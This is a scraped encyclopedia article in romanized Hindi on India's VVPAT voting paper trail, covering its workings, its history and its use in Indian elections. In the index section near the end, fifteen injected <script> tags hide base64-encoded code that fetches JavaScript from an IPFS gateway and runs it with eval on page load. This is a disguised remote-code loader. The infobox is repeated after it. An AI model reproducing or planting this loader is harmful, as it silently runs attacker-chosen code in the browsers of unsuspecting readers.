वीवीपैट सिस्टम

	vivipait sistam
	vivipait\|200px\|center
vivaran	votar veriephaid pepar aaudit trel
sthapana	2002
adhikar kshetr	bharat
mukhyalay	nee dilli
vishesh	san 1890 mean amerika mean matadata ko yah pata nahian chalata tha ki usaka diya gaya vot sahi pratyashi ko gaya hai ya nahian. isi ko lekar 1897 mean horeshiyo rojars ne nirikshan kiya tha, jisamean unhoanne paya tha ki dayarekt votiang mashin pranali se matadata ke pas koee prooph nahian rahata tha ki usaka diya gaya vot kahaan gaya.
any janakari	bharat mean sabase pahale vivipait ka prayog nagalaiand ke chunav mean 2013 mean hua tha.

sashakt chunav pranali se lokatantr majaboot hota hai. lokataantrik desh mean chunav se sarakar banati hai. sahi sarakar chuni jae isake lie zaroori hai zyada se zyada matadan ho. jab matadan ki bat ati hai to paradarshita ka dhyan rakha jata hai aur yah bhi bahut jaroori bhi hai. isi bat ko dekhate hue chunavi prakriya mean badalav hote rahate haian. pahale jahaan bailet pepar ke dvara matadan hota tha, usake bad ab usake sthan par ilektr aaunik votiang mashin (EVM) ne le li hai. eeviem ke prayog ke pichhe mataganana mean lagane vale samay ko kam karane aur bailet se bhari mat petiyoan ke rakharakhav mean hone vale kharch ko bachana bhi tha, lekin eeviem ki paradarshita par bhi saval uthane lage, jise dekhate hue chunav ayog votar veriephaid pepar aaudit trel arthat VVPAT ka k aaunsept lekar aya, jisake dvara matadata ko yah pata chalata hai ki jis pratyashi ke lie eeviem mean usane batan dabaya hai, vot use hi mila hai. is janakari ke lie eeviem se vivipait mashin bhi ju di hoti hai.

kary paddhati

VVPAT mashin eeviem ke sath ju di hoti hai. jab matadata iviem mean kisi pratyashi ke nam aur chunav chinh ke samane ka batan dabata hai to vivipait se ek parchi nikalati hai. yah batati hai ki matadata ne jis pratyashi ko vot kiya hai, vot use hi mila hai. vivipait mashin dayarekt rik aaurdiang ilektr aaunik votiang sistam (DRE) ke aantargat kam karati hai.

vivipait parchi

matadata ne kis pratyashi ko vot kiya hai yah vivipait mashin se nikalane vali parchi mean dikhata hai. is parchi mean matadata ko pratyashi ka chunav chinh aur nam usaki or se chuni gee bhasha mean dikhaee dega. yah parchi 7 sekeand tak dikhati hai phir silaband b aauks mean gir jati hai.

kya hota hai parchi ka

vivipait se nikalane vali parchi 7 sekeand ke bad mashin mean hi gir jati hai. yah mashin poori tarah se paik aur l aauk hoti hai. agar koee soche ki ye parchi use mil jaegi to aisa nahian hoga keval poliang adhikari hi vivipait ki is parchi tak pahuanch sakata hai. ganana ke din in parchiyoan ka milan ilektr aaunik votoan se kiya ja sakata hai.

votoan aur parchi ka milan

kauantiang ke din votoan ki ginati mean kisi prakar ke vivad hone par pratyashi ki maang par votoan aur parchi ka milan kiya jata hai. ab saval uthata hai ki milan kaise hota hai? kya ek-ek vot gina jata hai? to javab asan hai. ek eeviem mean jitane vot p de haian ye kauantiang ke din mashin ki Result batan dabate hi pata chal jata hai ki kis kaiandidet ko kitane vot mile haian. isi adhar vivipait ki parchiyoan ki ginati kar li jati hai. isase sthiti saph ho jati hai.

kitane booth par hoga parchiyoan ka milan

isase pahale hue chunav mean har vidhanasabha kshetr mean sirph 1 booth par parchiyoan ka milan hota tha, lekin 2019 ke lokasabha chunav mean 21 vipakshi daloan ne yachika dayar kar 50 phisadi eeviem aur vivipait ka milan karane ki maang ki thi, jisake bad suprim kort ne chunav ayog ko nirdesh diya hai ki lokasabha sit ke aantargat ane vali sabhi vidhanasabhaoan ke 5 boothoan par eeviem aur vivipait ka milan kiya jae.

vivipait mashin ka nirman

chunavi prakriya ko saral aur paradarshi banane aur eeviem par uthane vale savaloan ko lekar suprim kort ne keandr sarakar ko nirdesh diya tha. jisake bad bharat ilektr aauniks limited (BHEL) aur ilektr aaunik k aauraporeshan aauph iandiya limited (ECIL) ne yah mashin 2013 mean banaee thi. yahi donoan bharatiy kanpaniyaan eeviem bhi banati haian.

vivipait ka vichar

san 1890 mean amerika mean matadata ko yah pata nahian chalata tha ki usaka diya gaya vot sahi pratyashi ko gaya hai ya nahian. isi ko lekar 1897 mean horeshiyo rojars ne nirikshan kiya tha, jisamean unhoanne paya tha ki dayarekt votiang mashin pranali se matadata ke pas koee prooph nahian rahata tha ki usaka diya gaya vot kahaan gaya. sal gujara aur agale hi sal 1899 mean joseph gre ne ek aisa tarika bataya jisamean mashin se votiang ke vakt ek tikat nikale jise bailet b aauks mean dalane se pahale matadata khud dekh sake. halaanki vot ab bhi mashin se hi dale ja rahe the, lekin ek tikat milane ka sadhan unhoanne sujhaya tha. votiang mashin mean sudhar hote gaya hai aur eeviem tak pahuanch gaya lekin parchi ke sudhar ki guanjaish abhi thi.

1990

eeviem mean honi vali g dab di ko rokane ke lie kanpyootar sikyoriti prapheshanal broos snayar (Bruce Schneier) ne 1990 ke dashak mean phir se avaj buland thi. unhoanne hi vivipait ki maang ki.
1992 mean amareki kampyootar saiantist rebeka marakyoori ne joseph gre ke aidiya ko doharaya.
san 2000 mean marakyoori ne hi marakyoori maithad par piechadi ki. isamean unhoanne mashin se nikalane vali vivipait aur matadata ke bich kaanch ki divar ka aidiya bhi diya jisase votar is parchi ko apane sath n le ja sakean.

pahali bar vivipait ka prayog

isaka istemal kailiphorniya ke sarkameanto shahar mean hue chunav mean 2002 mean ho chuka tha. is vivipait vali mashin ko evaante iantaneshanal teknol aauji ne banaya tha. amerika mean 27 rajyoan mean vivipait ka istemal am chunavoan mean hota hai jabaki 18 rajy ise sirph lokal aur vidhanasabha chunav mean hi apanate hai. jabaki 5 aise rajy haian jo vivipait ko nahian apanate haian.

bharat aur vivipait

sabase pahale vivipait ka prayog nagalaiand ke chunav mean 2013 mean hua tha. sitanbar mean hue rajy ke n aaukasen vidhanasabha sit ke lie vivipait lagi eeviem ka istemal hua tha. isi sal mijoram ki 40 mean se 10 vidhanasabha sitoan par matadataoan ne vivipait lagi eeviem se apane vot dale.

vivipait ka poornat: prayog

2014 ke lokasabha chunav ki 543 sitoan mean sirph 8 sitoan par vivipait ka istemal kiya gaya. ye sitean thian lakhanoo, gaandhinagar, beangaluroo dakshin, chennee seantral, jadavapur, rayapur, patana sahib aur mijoram.
sal 2017 mean hue paanch rajyoan ke vidhanasabha chunavoan mean ayog ne 52,000 vivipait ka istemal kiya. jabaki gova ke vidhanasabha chunav ki sabhi sitoan par vivipait vali eeviem ka istemal hua tha.
2019 lokasabha chunav mean har booth par eeviem ke sath vivipait vali mashin lagi rahegi, jisamean se chunav ayog 20625 eeviem par lagi vivipait ka milan karega.

eeviem par pratibandh

ilektr aaunik votiang mashinoan ka istemal kee deshoan ne shuroo kiya tha. lekin sikyoriti aur ekyooresi ko lekar in mashinoan par saval uthane ki vajah se ye vapas bailet pepar laut chuke haian. isamean nidaralaiandas, itali ne bain laga diya hai, jabaki jarmani, ianglaiand aur phraans mean kabhi eeviem ka istemal nahian hua. itana hi nahian amerika jaise desh ke kee rajyoan mean bina pepar trel vali eeviem par pratibandh hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

vivipait sistam
vivipait\|200px\|center
vivaran	votar veriephaid pepar aaudit trel
sthapana	2002
adhikar kshetr	bharat
mukhyalay	nee dilli
vishesh	san 1890 mean amerika mean matadata ko yah pata nahian chalata tha ki usaka diya gaya vot sahi pratyashi ko gaya hai ya nahian. isi ko lekar 1897 mean horeshiyo rojars ne nirikshan kiya tha, jisamean unhoanne paya tha ki dayarekt votiang mashin pranali se matadata ke pas koee prooph nahian rahata tha ki usaka diya gaya vot kahaan gaya.
any janakari	bharat mean sabase pahale vivipait ka prayog nagalaiand ke chunav mean 2013 mean hua tha.